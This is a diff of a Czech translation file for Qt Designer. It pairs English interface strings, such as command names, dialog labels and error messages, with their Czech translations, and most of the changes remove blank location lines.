             Program Assistant nelze spustit (%1).
         
    @@ -180,92 +192,74 @@
     
         BrushPropertyManager
         
    -        
             Style
             Styl
         
         
    -        
             No brush
             Žádný vzor
         
         
    -        
             Solid
             Plný
         
         
    -        
             Dense 1
             Hustota 1
         
         
    -        
             Dense 2
             Hustota 2
         
         
    -        
             Dense 3
             Hustota 3
         
         
    -        
             Dense 4
             Hustota 4
         
         
    -        
             Dense 5
             Hustota 5
         
         
    -        
             Dense 6
             Hustota 6
         
         
    -        
             Dense 7
             Hustota 7
         
         
    -        
             Horizontal
             Vodorovný
         
         
    -        
             Vertical
             Svislý
         
         
    -        
             Cross
             Křížící se čáry
         
         
    -        
             Backward diagonal
             Zpětné úhlopříčky
         
         
    -        
             Forward diagonal
             Vpřed směřující úhlopříčky
         
         
    -        
             Crossing diagonal
             Křížící se úhlopříčky
         
         
    -        
             Color
             Barva
         
         
    -        
             [%1, %2]
             [%1, %2]
         
    @@ -273,360 +267,277 @@
     
         Command
         
    -        
    -        
             Change signal
             Změnit signál
         
         
    -        
    -        
             Change slot
             Změnit zdířku
         
         
    -        
             Change signal-slot connection
             Změnit spojení signál-zdířka
         
         
    -        
             Change sender
             Změnit vysílač
         
         
    -        
             Change receiver
             Změnit přijímač
         
         
    -        
             Add connection
             Přidat spojení
         
         
    -        
             Adjust connection
             Nastavit spojení
         
         
    -        
             Delete connections
             Smazat spojení
         
         
    -        
             Change source
             Změnit zdroj
         
         
    -        
             Change target
             Změnit koncový bod
         
         
    -        
             Insert '%1'
             Vložit '%1'
         
         
    -        
             Raise '%1'
             '%1' dopředu
         
         
    -        
             Lower '%1'
             '%1' dozadu
         
         
    -        
             Delete '%1'
             Smazat '%1'
         
         
    -        
             Reparent '%1'
             Přiřadit jiný prvek '%1'
         
         
    -        
             Promote to custom widget
             Vytvořit zástupný symbol pro uživatelsky stanovený prvek
         
         
    -        
             Demote from custom widget
             Odstranit zástupný symbol pro uživatelsky stanovenou třídu
         
         
    -        
             Lay out using grid
             Rozmístit předměty tabulkově
         
         
    -        
             Lay out vertically
             Rozmístit předměty svisle
         
         
    -        
             Lay out horizontally
             Rozmístit předměty vodorovně
         
         
    -        
             Break layout
             Zrušit rozvržení
         
         
    -        
    -        
    -        
             Move Page
             Posunout stranu
         
         
    -        
    -        
    -        
    -        
             Delete Page
             Smazat stranu
         
         
    -        
    -        
             Page
             Strana
         
         
    -        
             page
             Strana
         
         
    -        
    -        
    -        
    -        
             Insert Page
             Vložit stranu
         
         
    -        
             Change Tab order
             Změnit pořadí karet
         
         
    -        
             Create Menu Bar
             Vytvořit nabídkový pruh
         
         
    -        
             Delete Menu Bar
             Smazat nabídkový pruh
         
         
    -        
             Create Status Bar
             Vytvořit stavový pruh
         
         
    -        
             Delete Status Bar
             Smazat stavový pruh
         
         
    -        
             Add Tool Bar
             Přidat nástrojový pruh
         
         
    -        
             Add Dock Window
             Přidat ukotvené okno
         
         
    -        
             Adjust Size of '%1'
             Upravit velikost '%1'
         
         
    -        
             Change Form Layout Item Geometry
             Změnit uspořádání prvku rozvržení formuláře
         
         
    -        
             Change Layout Item Geometry
             Změnit uspořádání prvku rozvržení
         
         
    -        
             Change Table Contents
             Změnit obsah tabulky
         
         
    -        
             Change Tree Contents
             Změnit obsah stromu
         
         
    -        
    -        
             Add action
             Přidat činnost
         
         
    -        
    -        
             Remove action
             Odstranit činnost
         
         
    -        
             Add menu
             Přidat nabídku
         
         
    -        
             Remove menu
             Odstranit nabídku
         
         
    -        
             Create submenu
             Vytvořit vedlejší nabídku
         
         
    -        
             Delete Tool Bar
             Smazat nástrojový pruh
         
         
    -        
             Set action text
             Nastavit text k činnosti
         
         
    -        
             Insert action
             Vložit činnost
         
         
    -        
    -        
             Move action
             Posunout činnost
         
         
    -        
             Change Title
             Změnit název
         
         
    -        
             Insert Menu
             Vložit nabídku
         
         
    -        
             Change signals/slots
             Změnit signály/zdířky
         
         
    -        
             Delete Subwindow
             Smazat podokno
         
         
    -        
             Insert Subwindow
             Vložit podokno
         
         
    -        
             subwindow
             Podokno
         
         
    -        
             Subwindow
             Podokno
         
         
    -        
             Change Z-order of '%1'
             Změnit Z-pořadí '%1'
         
         
    -        
             Simplify Grid Layout
             Zjednodušit tabulkové rozvržení
         
         
    -        
             Create button group
             Seskupit tlačítka
         
         
    -        
             Break button group
             Zrušit seskupení tlačítek
         
         
    -        
             Break button group '%1'
             Zrušit seskupení '%1'
         
         
    -        
             Add buttons to group
             Přidat tlačítka do seskupení
         
         
    -        
             Remove buttons from group
             Odstranit tlačítka ze seskupení
         
         
    -        
             Morph %1/'%2' into %3
             MorphWidgetCommand description
             Přeměnit %1/'%2' na %3
         
         
    -        
             Change layout of '%1' from %2 to %3
             Změnit rozvržení '%1' z %2 na %3
         
         
    -        
    -        
             Add '%1' to '%2'
             Command description for adding buttons to a QButtonGroup
             Přidat '%1' k '%2'
         
         
    -        
             Remove '%1' from '%2'
             Command description for removing buttons from a QButtonGroup
             Odstranit '%1' z '%2'
         
         
    -        
             Change script
             Změnit skript
         
         
    -        
             Changed '%1' of '%2'
             Změněno '%1' z '%2'
         
         
    -        
             Changed '%1' of %n objects
             Singular will never be shown
             
    @@ -636,12 +547,10 @@
             
         
         
    -        
             Reset '%1' of '%2'
             Znovu nastavit '%1' '%2'
         
         
    -        
             Reset '%1' of %n objects
             Singular will never be shown
             
    @@ -651,12 +560,10 @@
             
         
         
    -        
             Add dynamic property '%1' to '%2'
             Přidat dynamickou vlastnost '%1' do '%2'
         
         
    -        
             Add dynamic property '%1' to %n objects
             Singular will never be shown
             
    @@ -666,12 +573,10 @@
             
         
         
    -        
             Remove dynamic property '%1' from '%2'
             Odstranit dynamickou vlastnost '%1' z '%2'
         
         
    -        
             Remove dynamic property '%1' from %n objects
             
                 Odstranit dynamickou vlastnost '%1' z jednoho předmětu
    @@ -683,22 +588,18 @@
     
         ConnectDialog
         
    -        
             Configure Connection
             Upravit spojení
         
         
    -        
             GroupBox
             GroupBox
         
         
    -        
             Edit...
             Upravit...
         
         
    -        
             Show signals and slots inherited from QWidget
             Ukázat signály a zdířky zděděné z QWidget
         
    @@ -706,17 +607,14 @@
     
         ConnectionDelegate
         
    -        
             <object>
             <Předmět>
         
         
    -        
             <signal>
             <Signál>
         
         
    -        
             <slot>
             <Zdířka>
         
    @@ -724,19 +622,16 @@
     
         DPI_Chooser
         
    -        
             Standard (96 x 96)
             Embedded device standard screen resolution
             Obvyklé rozlišení (96 x 96)
         
         
    -        
             Greenphone (179 x 185)
             Embedded device screen resolution
             Greenphone (179 x 185)
         
         
    -        
             High (192 x 192)
             Embedded device high definition screen resolution
             Vysoké rozlišení (192 x 192)
    @@ -745,89 +640,72 @@
     
         Designer
         
    -        
             Qt Designer
             Qt Designer
         
         
    -        
             Unable to launch %1.
             %1 se nepodařilo spustit.
         
         
    -        
             %1 timed out.
             Překročení času při provedení %1.
         
         
    -        
             This file contains top level spacers.<br>They have <b>NOT</b> been saved into the form.
             Formulář obsahuje volně stojící prvky rozložení, které <b>NEBYLY</b> uloženy do formuláře.
         
         
    -        
             Perhaps you forgot to create a layout?
             Přidal jste rozvržení?
         
         
    -        
             This file cannot be read because it was created using %1.
             Soubor nelze přečíst, protože byl vytvořen %1.
         
         
    -        
             This file was created using Designer from Qt-%1 and cannot be read.
             Soubor nelze přečíst, protože byl vytvořen programem Designer ve verzi %1.
         
         
    -        
             This file cannot be read because the extra info extension failed to load.
             Soubor nelze přečíst (Chyba při nahrávání dat ExtraInfoExtension).
         
         
    -        
             The converted file could not be read.
             Převedený soubor se nepodařilo přečíst.
         
         
    -        
             Invalid UI file: The root element <ui> is missing.
             Chyba při čtení souboru s rozhraním: Kořenový prvek <ui> chybí.
         
         
    -        
             An error has occurred while reading the UI file at line %1, column %2: %3
             Chyba při čtení souboru s rozhraním, řádek %1, sloupec %2: %3
         
         
    -        
             This file was created using Designer from Qt-%1 and will be converted to a new form by Qt Designer.
             Soubor byl vytvořen programem Designer ve verzi %1 a bude převeden na nový formulář pomocí programu Qt Designer.
         
         
    -        
             The old form has not been touched, but you will have to save the form under a new name.
             Starý formulář zůstává nezměněn. Nový formulář musí být uložen pod novým názvem.
         
         
    -        
             This file was created using Designer from Qt-%1 and could not be read:
     %2
             Čtení Designerem %1 vytvořeného souboru se nezdařilo:
     %2
         
         
    -        
             Please run it through <b>uic3&nbsp;-convert</b> to convert it to Qt-4's ui format.
             Přeměňte to, prosím, příkazem <b>uic3&nbsp;-convert</b> na formát rozhraní Qt 4.
         
         
    -        
             Custom Widgets
             Uživatelsky stanovené prvky
         
         
    -        
             Promoted Widgets
             Zástupný symbol pro uživatelsky stanovené prvky
         
    @@ -835,12 +713,10 @@
     
         DesignerMetaEnum
         
    -        
             %1 is not a valid enumeration value of '%2'.
             %1 není platnou výčtovou hodnotou '%2'.
         
         
    -        
             '%1' could not be converted to an enumeration value of type '%2'.
             '%1' se nepodařilo převést na výčtovou hodnotu typu '%2'.
         
    @@ -848,7 +724,6 @@
     
         DesignerMetaFlags
         
    -        
             '%1' could not be converted to a flag value of type '%2'.
             '%1' se nepodařilo převést na příznakovou hodnotu typu '%2'.
         
    @@ -856,13 +731,11 @@
     
         DeviceProfile
         
    -        
             '%1' is not a number.
             Reading a number for an embedded device profile
             '%1' není platným číslem.
         
         
    -        
             An invalid tag <%1> was encountered.
              Byl zjištěn neplatný prvek'%1'.
         
    @@ -870,27 +743,22 @@
     
         DeviceProfileDialog
         
    -        
             &Family
             &Písmová rodina
         
         
    -        
             &Point Size
             &Bodová velikost
         
         
    -        
             Style
             Styl
         
         
    -        
             Device DPI
             Rozlišení obrazovky
         
         
    -        
             Name
             Název
         
    @@ -898,57 +766,46 @@
     
         DeviceSkin
         
    -        
             The image file '%1' could not be loaded.
             Soubor s obrázkem '%1' se nepodařilo nahrát.
         
         
    -        
             The skin directory '%1' does not contain a configuration file.
             Adresář se vzhledem '%1' neobsahuje žádný soubor s nastavením.
         
         
    -        
             The skin configuration file '%1' could not be opened.
             Soubor s nastavením vzhledu '%1' se nepodařilo otevřít.
         
         
    -        
             Syntax error: %1
             Chyba ve skladbě: %1
         
         
    -        
             The skin cursor image file '%1' does not exist.
             Soubor s obrázkem pro vzhled ukazovátka '%1' neexistuje.
         
         
    -        
             Syntax error in area definition: %1
             Vymezení oblasti obsahuje chybu ve skladbě: %1
         
         
    -        
             Mismatch in number of areas, expected %1, got %2.
             Zadaný počet oblastí (%1) neodpovídá; byly nalezeny %2 oblasti.
         
         
    -        
             The skin configuration file '%1' could not be read: %2
             Soubor s nastavením vzhledu '%1' se nepodařilo přečíst: %2
         
         
    -        
             The skin "up" image file '%1' does not exist.
             Soubor s nastavením vzhledu '%1' (nahoru) neexistuje.
         
         
    -        
             The skin "down" image file '%1' does not exist.
             Soubor s nastavením vzhledu '%1' (dolů) neexistuje.
         
         
    -        
             The skin "closed" image file '%1' does not exist.
             Soubor s nastavením vzhledu '%1' (zavřeno) neexistuje.
         
    @@ -956,7 +813,6 @@
     
         EmbeddedOptionsControl
         
    -        
             <html><table><tr><td><b>Font</b></td><td>%1, %2</td></tr><tr><td><b>Style</b></td><td>%3</td></tr><tr><td><b>Resolution</b></td><td>%4 x %5</td></tr></table></html>
             Format embedded device profile description
             <html><table><tr><td><b>Font</b></td><td>%1, %2</td></tr><tr><td><b>Stil</b></td><td>%3</td></tr><tr><td><b>Rozlišení</b></td><td>%4 x %5</td></tr></table></html>
    @@ -965,13 +821,11 @@
     
         EmbeddedOptionsPage
         
    -        
             Embedded Design
             Tab in preferences dialog
             Vložený návrh
         
         
    -        
             Device Profiles
             EmbeddedOptionsControl group box"
             Profily zařízení
    @@ -980,27 +834,22 @@
     
         FontPanel
         
    -        
             Font
             Písmo
         
         
    -        
             &Writing system
             Způsob &psaní
         
         
    -        
             &Family
             &Písmová rodina
         
         
    -        
             &Style
             &Styl
         
         
    -        
             &Point size
             &Bodová velikost
         
    @@ -1008,22 +857,18 @@
     
         FontPropertyManager
         
    -        
             PreferDefault
             Upřednostňovat výchozí
         
         
    -        
             NoAntialias
             Žádné vyhlazování
         
         
    -        
             PreferAntialias
             Upřednostňovat vyhlazování
         
         
    -        
             Antialiasing
             Vyhlazování
         
    @@ -1031,43 +876,45 @@
     
         FormBuilder
         
    -        
             Invalid stretch value for '%1': '%2'
    -        Parsing layout stretch values
    +        Parsing layout stretch values
    +----------
    +Parsing layout stretch values
    +----------
    +Parsing layout stretch values
             Neplatná hodnota roztažení pro '%1': '%2'
         
         
    -        
             Invalid minimum size for '%1': '%2'
    -        Parsing grid layout minimum size values
    +        Parsing grid layout minimum size values
    +----------
    +Parsing grid layout minimum size values
    +----------
    +Parsing grid layout minimum size values
             Neplatná nejmenší velikost pro '%1': '%2'
         
     
     
         FormEditorOptionsPage
         
    -        
             %1 %
    +        Zoom percentage
             %1 %
         
         
    -        
             Preview Zoom
             Velikost zvětšení pro náhled
         
         
    -        
             Default Zoom
             Výchozí zvětšení
         
         
    -        
             Forms
             Tab in preferences dialog
             Formuláře
         
         
    -        
             Default Grid
             Výchozí mřížka pro nové formuláře
         
    @@ -1075,37 +922,30 @@
     
         FormLayoutRowDialog
         
    -        
             Add Form Layout Row
             Přidat řádek s rozvržením formuláře
         
         
    -        
             &Label text:
             &Text popisku:
         
         
    -        
             Field &type:
             &Typ datového pole:
         
         
    -        
             &Field name:
             &Název pole:
         
         
    -        
             &Buddy:
             &Kamarád:
         
         
    -        
             &Row:
             &Řádek:
         
         
    -        
             Label &name:
             &Název popisku:
         
    @@ -1113,12 +953,10 @@
     
         FormWindow
         
    -        
             Unexpected element <%1>
             Neplatný prvek <%1>
         
         
    -        
             Error while pasting clipboard contents at line %1, column %2: %3
             Chyba při vložení obsahu schránky, řádek %1, sloupec %2: %3
         
    @@ -1126,62 +964,50 @@
     
         FormWindowSettings
         
    -        
             Form Settings
             Nastavení formuláře
         
         
    -        
             Layout &Default
             &Výchozí rozvržení
         
         
    -        
             &Spacing:
             &Odstup:
         
         
    -        
             &Margin:
             &Okraj:
         
         
    -        
             &Layout Function
             &Funkce rozvržení
         
         
    -        
             Ma&rgin:
             Ok&raj:
         
         
    -        
             Spa&cing:
             Odstu&p:
         
         
    -        
             Embedded Design
             Vložený návrh
         
         
    -        
             &Author
             &Autor
         
         
    -        
             &Include Hints
             &Zahrnout rady
         
         
    -        
             &Pixmap Function
             &Funkce pixmapy
         
         
    -        
             Grid
             Mřížka
         
    @@ -1189,7 +1015,6 @@
     
         IconSelector
         
    -        
             All Pixmaps (
             Všechny soubory s pixmapami (
         
    @@ -1197,7 +1022,6 @@
     
         ItemPropertyBrowser
         
    -        
             XX Icon Selected off
             Sample string to determinate the width for the first column of the list item property browser
             Vybraná ikona, z
    @@ -1206,33 +1030,27 @@
     
         MainWindowBase
         
    -        
             Main
             Not currently used (main tool bar)
             Hlavní pruh s nástroji
         
         
    -        
             File
             Soubor
         
         
    -        
             Edit
             Úpravy
         
         
    -        
             Tools
             Nástroje
         
         
    -        
             Form
             Formulář
         
         
    -        
             Qt Designer
             Qt Designer
         
    @@ -1240,52 +1058,42 @@
     
         NewForm
         
    -        
             C&reate
             &Vytvořit nový z předlohy
         
         
    -        
             Recent
             Naposledy otevřený
         
         
    -        
             &Close
             &Zavřít
         
         
    -        
             &Open...
             &Otevřít...
         
         
    -        
             &Recent Forms
             &Naposledy otevřené formuláře
         
         
    -        
             Read error
             Chyba při čtení
         
         
    -        
             New Form
             Nový formulář
         
         
    -        
             Show this Dialog on Startup
             Ukázat tento dialog při spuštění
         
         
    -        
             A temporary form file could not be created in %1.
             V adresáři %1 se nepodařilo vytvořit dočasný soubor s formulářem.
         
         
    -        
             The temporary form file %1 could not be written.
             Dočasný soubor s formulářem %1 se nepodařilo zapsat.
         
    @@ -1293,22 +1101,18 @@
     
         ObjectInspectorModel
         
    -        
             Object
             Předmět
         
         
    -        
             Class
             Třída
         
         
    -        
             separator
             Oddělovač
         
         
    -        
             <noname>
             <nepojmenovaný>
         
    @@ -1316,12 +1120,10 @@
     
         ObjectNameDialog
         
    -        
             Change Object Name
             Změnit název předmětu
         
         
    -        
             Object Name
             Název předmětu
         
    @@ -1329,12 +1131,10 @@
     
         PluginDialog
         
    -        
             Plugin Information
             Přídavné moduly
         
         
    -        
             1
             1
         
    @@ -1342,7 +1142,6 @@
     
         PreferencesDialog
         
    -        
             Preferences
             Nastavení
         
    @@ -1350,32 +1149,26 @@
     
         PreviewConfigurationWidget
         
    -        
             Form
             Formulář
         
         
    -        
             Print/Preview Configuration
             Nastavení tisku/náhledu
         
         
    -        
             Style
             Styl
         
         
    -        
             Style sheet
             Předlohový list
         
         
    -        
             ...
             ...
         
         
    -        
             Device skin
             Vzhled pro zařízení
         
    @@ -1383,7 +1176,6 @@
     
         PromotionModel
         
    -        
             Not used
             Usage of promoted widgets
             Nepoužívaný
    @@ -1392,8 +1184,6 @@
     
         Q3WizardContainer
         
    -        
    -        
             Page
             Strana
         
    @@ -1401,58 +1191,47 @@
     
         QAbstractFormBuilder
         
    -        
             Unexpected element <%1>
             Neplatný prvek <%1>
         
         
    -        
             An error has occurred while reading the UI file at line %1, column %2: %3
             Chyba při čtení souboru s rozhraním, řádek %1, sloupec %2: %3
         
         
    -        
             Invalid UI file: The root element <ui> is missing.
             Chyba při čtení souboru s rozhraním: Kořenový prvek <ui> chybí.
         
         
    -        
             The creation of a widget of the class '%1' failed.
             Nepodařilo se vytvořit žádný prvek třídy '%1'.
         
         
    -        
             Attempt to add child that is not of class QWizardPage to QWizard.
             Pokus o přidání strany předmětu třídy QWizard, která není typu QWizardPage.
         
         
    -        
             Attempt to add a layout to a widget '%1' (%2) which already has a layout of non-box type %3.
     This indicates an inconsistency in the ui-file.
             Pokus o přidání rozvržení na prvek '%1' (%2), který již má rozvržení typu %3 hat. Ukazuje to na nesrovnalost v souboru s rozhraním.
         
         
    -        
             Empty widget item in %1 '%2'.
             Prázdná položka prvku v %1 '%2'.
         
         
    -        
             Flags property are not supported yet.
             Vlastnosti typu "příznak" nejsou podporovány.
         
         
    -        
             While applying tab stops: The widget '%1' could not be found.
             Chyba při stanovení pořadí tabulátorů: Nepodařilo se nalézt žádný prvek s názvem '%1'.
         
         
    -        
             Invalid QButtonGroup reference '%1' referenced by '%2'.
             Neplatný odkaz na skupinu tlačítek '%1', odkazováno '%2'.
         
         
    -        
             This version of the uitools library is linked without script support.
             Tato verze knihovny uitools nepodporuje skripty.
         
    @@ -1460,12 +1239,10 @@ This indicates an inconsistency in the ui-file.
     
         QAxWidgetPlugin
         
    -        
             ActiveX control
             Ovládací prvek ActiveX
         
         
    -        
             ActiveX control widget
             Ovládací prvek ActiveX
         
    @@ -1473,22 +1250,18 @@ This indicates an inconsistency in the ui-file.
     
         QAxWidgetTaskMenu
         
    -        
             Set Control
             Nastavit ovládací prvek
         
         
    -        
             Reset Control
             Nastavit znovu ovládací prvek
         
         
    -        
             Licensed Control
             Licencovaný ovládací prvek
         
         
    -        
             The control requires a design-time license
             Ovládací prvek vyžaduje licenci k času návrhu
         
    @@ -1496,67 +1269,54 @@ This indicates an inconsistency in the ui-file.
     
         QCoreApplication
         
    -        
             %1 is not a promoted class.
             %1 není zástupným symbolem pro uživatelsky stanovenou třídu.
         
         
    -        
             The base class %1 is invalid.
             %1 není platnou základní třídou.
         
         
    -        
             The class %1 already exists.
             Již existuje třída s názvem %1.
         
         
    -        
             Promoted Widgets
             Zástupný symbol pro uživatelsky stanovené prvky
         
         
    -        
             The class %1 cannot be removed
             Třída %1 nemůže být odstraněna
         
         
    -        
             The class %1 cannot be removed because it is still referenced.
             Třída %1 nemůže být odstraněna, protože se stále používá.
         
         
    -        
             The class %1 cannot be renamed
             Třída %1 nemůže být přejmenována
         
         
    -        
             The class %1 cannot be renamed to an empty name.
             Název pro třídu nemůže zůstat prázdný (%1).
         
         
    -        
             There is already a class named %1.
             Již existuje třída s názvem %1.
         
         
    -        
             Cannot set an empty include file.
             Název pro hlavičkový soubor nemůže zůstat prázdný.
         
         
    -        
             Exception at line %1: %2
             Chyba výjimky na řádku %1: %2
         
         
    -        
             Unknown error
             Neznámá chyba
         
         
    -        
             An error occurred while running the script for %1: %2
     Script: %3
             Při provádění skriptu pro %1 se vyskytla chyba: %2Skript: %3
    @@ -1565,17 +1325,14 @@ Script: %3
     
         QDesigner
         
    -        
             %1 - warning
             %1 - Upozornění
         
         
    -        
             Qt Designer
             Qt Designer
         
         
    -        
             This application cannot be used for the Console edition of Qt
             Tato aplikace se nedá používat pro konzolové vydání Qt
         
    @@ -1583,207 +1340,162 @@ Script: %3
     
         QDesignerActions
         
    -        
             Edit Widgets
             Upravit prvky
         
         
    -        
             &Quit
             &Ukončit
         
         
    -        
             &Minimize
             &Zmenšit
         
         
    -        
             Bring All to Front
             Ukázat všechny formuláře
         
         
    -        
             Preferences...
             Nastavení...
         
         
    -        
             Clear &Menu
             Smazat &nabídku
         
         
    -        
             CTRL+SHIFT+S
             CTRL+SHIFT+S
         
         
    -        
             CTRL+R
             CTRL+R
         
         
    -        
             CTRL+M
             CTRL+M
         
         
    -        
             Qt Designer &Help
             &Nápověda k programu Qt Designer
         
         
    -        
             Current Widget Help
             Nápověda k vybranému prvku
         
         
    -        
             What's New in Qt Designer?
             Co je nového v programu Qt Designer?
         
         
    -        
             About Plugins
             Přídavné moduly
         
         
    -        
    -        
             About Qt Designer
             O programu Qt Designer
         
         
    -        
             About Qt
             O Qt
         
         
    -        
    -        
             Open Form
             Otevřít formulář
         
         
    -        
    -        
    -        
             Designer UI files (*.%1);;All Files (*)
             Soubory rozhraní programu Designer (*.%1);;Všechny soubory (*)
         
         
    -        
             %1 already exists.
     Do you want to replace it?
             Soubor %1 již existuje.
     Chcete jej nahradit?
         
         
    -        
             Saved %1.
             Formulář %1 byl uložen.
         
         
    -        
             &Recent Forms
             &Naposledy otevřené formuláře
         
         
    -        
             Designer
             Designer
         
         
    -        
             Feature not implemented yet!
             Tato funkce ještě není provedena!
         
         
    -        
             Read error
             Chyba při čtení
         
         
    -        
             %1
     Do you want to update the file location or generate a new form?
             %1
     Chcete zadat jiný název pro soubor, nebo vytvořit nový formulář?
         
         
    -        
             &Update
             &Jiný název
         
         
    -        
             &New Form
             &Nový formulář
         
         
    -        
    -        
             Save Form?
             Uložit formulář?
         
         
    -        
             Could not open file
             Soubor se nepodařilo otevřít
         
         
    -        
    -        
             The backup file %1 could not be written.
             Ukládání na pozadí: Soubor se zálohou %1 se nepodařilo zapsat.
         
         
    -        
             The backup directory %1 could not be created.
             Ukládání na pozadí: Adresář se zálohou %1 se nepodařilo.
         
         
    -        
             The temporary backup directory %1 could not be created.
             Ukládání na pozadí: Dočasný adresář se zálohou %1 se nepodařilo.
         
         
    -        
             Please close all forms to enable the loading of additional fonts.
             Zavřete, prosím, všechny formuláře kvůli umožnění nahrání dodatečných písem.
         
         
    -        
             Select New File
             Vybrat nový soubor
         
         
    -        
             Could not write file
             Soubor se nepodařilo zapsat
         
         
    -        
             &Close Preview
             &Zavřít náhled
         
         
    -        
             Save &Image...
             &Uložit obraz...
         
         
    -        
             &Print...
             &Tisk...
         
         
    -        
             Additional Fonts...
             Dodatečná písma...
         
         
    -        
             The file %1 could not be opened.
     Reason: %2
     Would you like to retry or select a different file?
    @@ -1792,7 +1504,6 @@ Would you like to retry or select a different file?
     Chcete to zkusit ještě jednou, nebo vybrat jiný soubor?
         
         
    -        
             It was not possible to write the entire file %1 to disk.
     Reason:%2
     Would you like to retry?
    @@ -1801,96 +1512,74 @@ Důvod: %2
     Chcete to zkusit ještě jednou?
         
         
    -        
             Image files (*.%1)
             Soubory s obrazem (*.%1)
         
         
    -        
    -        
             Save Image
             Uložit obraz
         
         
    -        
             The file %1 could not be written.
             Soubor %1 se nepodařilo zapsat.
         
         
    -        
             &New...
             &Nový...
         
         
    -        
             &Open...
             &Otevřít...
         
         
    -        
             &Save
             &Uložit
         
         
    -        
             Save &As...
             Uložit &jako...
         
         
    -        
             Save A&ll
             &Uložit vše
         
         
    -        
             Save As &Template...
             Uložit jako &předlohu...
         
         
    -        
    -        
             &Close
             &Zavřít
         
         
    -        
             View &Code...
             Ukázat &kód...
         
         
    -        
    -        
             Save Form As
             Uložit formulář jako
         
         
    -        
             Preview failed
             Nepodařilo se vytvořit žádný náhled
         
         
    -        
             Code generation failed
             Nepodařilo se vytvořit žádný kód
         
         
    -        
    -        
             Assistant
             Assistant
         
         
    -        
             Saved image %1.
             Obraz byl uložen pod %1.
         
         
    -        
             Printed %1.
             %1 byl vytištěn.
         
         
    -        
             ALT+CTRL+S
             ALT+CTRL+S
         
    @@ -1898,7 +1587,6 @@ Chcete to zkusit ještě jednou?
     
         QDesignerAppearanceOptionsPage
         
    -        
             Appearance
             Tab in preferences dialog
             Vzhled
    @@ -1907,17 +1595,14 @@ Chcete to zkusit ještě jednou?
     
         QDesignerAppearanceOptionsWidget
         
    -        
             Docked Window
             Režim ukotveného okna
         
         
    -        
             Multiple Top-Level Windows
             Režim více oken
         
         
    -        
             Toolwindow Font
             Písmo pro okno s nástroji
         
    @@ -1925,22 +1610,18 @@ Chcete to zkusit ještě jednou?
     
         QDesignerAxWidget
         
    -        
             Reset control
             Nastavit znovu ovládací prvek
         
         
    -        
             Set control
             Nastavit ovládací prvek
         
         
    -        
             Control loaded
             Ovládací prvek nahrán
         
         
    -        
             A COM exception occurred when executing a meta call of type %1, index %2 of "%3".
             Při vyvolání postupu typu %1 se vyskytla výjimka COM, rejstřík %2 "%3".
         
    @@ -1948,17 +1629,14 @@ Chcete to zkusit ještě jednou?
     
         QDesignerFormBuilder
         
    -        
             Script errors occurred:
             Vyskytly se chyby ve skriptech:
         
         
    -        
             The preview failed to build.
             Nepodařilo se vytvořit žádný náhled.
         
         
    -        
             Designer
             Designer
         
    @@ -1966,22 +1644,18 @@ Chcete to zkusit ještě jednou?
     
         QDesignerFormWindow
         
    -        
             %1 - %2[*]
             %1 - %2[*]
         
         
    -        
             Save Form?
             Uložit formulář?
         
         
    -        
             Do you want to save the changes to this document before closing?
             Chcete v tomto formuláři uložit před zavřením změny?
         
         
    -        
             If you don't save, your changes will be lost.
             Pokud neprovedete uložení, budou vaše změny ztraceny. 
         
    @@ -1989,38 +1663,30 @@ Chcete to zkusit ještě jednou?
     
         QDesignerMenu
         
    -        
             Type Here
             Zadejte text
         
         
    -        
             Add Separator
             Přidat oddělovač
         
         
    -        
             Insert separator
             Vložit oddělovač
         
         
    -        
             Remove action '%1'
             Odstranit činnost '%1'
         
         
    -        
             Remove separator
             Odstranit oddělovač
         
         
    -        
    -        
             Add separator
             Přidat oddělovač
         
         
    -        
             Insert action
             Vložit činnost
         
    @@ -2028,22 +1694,18 @@ Chcete to zkusit ještě jednou?
     
         QDesignerMenuBar
         
    -        
             Type Here
             Zadejte text
         
         
    -        
             Remove Menu '%1'
             Odstranit nabídku '%1'
         
         
    -        
             Remove Menu Bar
             Odstranit pruh s nabídkou
         
         
    -        
             Menu
             Nabídka
         
    @@ -2051,37 +1713,30 @@ Chcete to zkusit ještě jednou?
     
         QDesignerPluginManager
         
    -        
             An XML error was encountered when parsing the XML of the custom widget %1: %2
             Chyba při vyhodnocování XML uživatelsky stanoveného prvku %1: %2
         
         
    -        
             A required attribute ('%1') is missing.
             U prvku chybí vyžadovaná vlastnost ('%1').
         
         
    -        
             An invalid property specification ('%1') was encountered. Supported types: %2
             '%1' není platným vymezením vlastnosti. Jsou podporovány následující typy: %2
         
         
    -        
             '%1' is not a valid string property specification.
             '%1' není platným vymezením vlastnosti řetězce znaků.
         
         
    -        
             The XML of the custom widget %1 does not contain any of the elements <widget> or <ui>.
             Kód XML pro prvek %1 neobsahuje platný kořenový prvek (<widget>, nebo <ui>).
         
         
    -        
             The class attribute for the class %1 is missing.
             Chybí vlastnost třídy pro třídu %1.
         
         
    -        
             The class attribute for the class %1 does not match the class name %2.
             Vlastnost třídy pro třídu %1 neodpovídá názvu třídy (%2).
         
    @@ -2089,7 +1744,6 @@ Chcete to zkusit ještě jednou?
     
         QDesignerPropertySheet
         
    -        
             Dynamic Properties
             Dynamické vlastnosti
         
    @@ -2097,31 +1751,26 @@ Chcete to zkusit ještě jednou?
     
         QDesignerResource
         
    -        
             The layout type '%1' is not supported, defaulting to grid.
             Typ rozvržení '%1' není podporován; bylo vytvořeno mřížkové rozvržení.
         
         
    -        
             The container extension of the widget '%1' (%2) returned a widget not managed by Designer '%3' (%4) when queried for page #%5.
     Container pages should only be added by specifying them in XML returned by the domXml() method of the custom widget.
             Kontejnerové rozšíření prvku '%1' (%2) vrátilo pro stranu %5 prvek '%3' (%4), který není spravován programem Designer.
     Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu domXML() uživatelsky stanoveného prvku.
         
         
    -        
             Unexpected element <%1>
             Parsing clipboard contents
             Neplatný prvek <%1>
         
         
    -        
             Error while pasting clipboard contents at line %1, column %2: %3
             Parsing clipboard contents
             Chyba při vložení obsahu schránky, řádek %1, sloupec %2: %3
         
         
    -        
             Error while pasting clipboard contents: The root element <ui> is missing.
             Parsing clipboard contents
             Chyba při vložení obsahu schránky: Kořenový prvek <ui> chybí.
    @@ -2130,12 +1779,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QDesignerSharedSettings
         
    -        
             The template path %1 could not be created.
             Adresář s předlohami %1 se nepodařilo zřídit.
         
         
    -        
             An error has been encountered while parsing device profile XML: %1
             Při čtení XML profilu zařízení se vyskytla chyba: %1
         
    @@ -2143,32 +1790,26 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QDesignerToolWindow
         
    -        
             Property Editor
             Editor vlastností
         
         
    -        
             Action Editor
